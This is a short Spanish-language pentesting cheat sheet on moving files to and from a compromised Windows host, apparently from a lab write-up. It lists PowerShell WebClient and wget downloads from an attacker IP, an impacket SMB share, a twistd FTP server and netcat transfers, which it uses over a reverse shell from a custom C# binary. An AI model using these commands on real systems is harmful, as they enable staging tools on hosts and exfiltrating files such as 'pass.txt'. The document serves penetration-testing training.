Transferencia de ficheros


Técnicas de transferencia de ficheros

Powershell / Wget


python -m SimpleHTTPServer 8080


powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.20.129:8080/pass.txt~','C:\Users\ws02\Desktop\FiletoTransfer.txt')"


wget http://192.168.20.X:8080/FiletoTransfer

SMB


impacket-smbserver -smb2support test .


copy \\192.168.20.129\test\pass.txt FiletoTransfer.txt

FTP


twistd3 -n ftp -r .

  1. ftp
  2. open 192.168.20.X 2121
  3. anonymous
  4. get FiletoTransfer
  5. bye


wget ftp://192.168.20.X:2121/FiletoTransfer

Netcat


nc.exe -lvp 4444 > FiletoTransfer


nc 192.168.20.X 4444 -w 3 < FiletoTransfer

Normalmente se dan dos casos en los que nos podemos encontrar diferentes maneras de transferir los archivos:

Para hacer esto vamos a aprovechar la reverse shell que teniamos con el binario que creamos en C#

images/71-1.png

images/71-2.png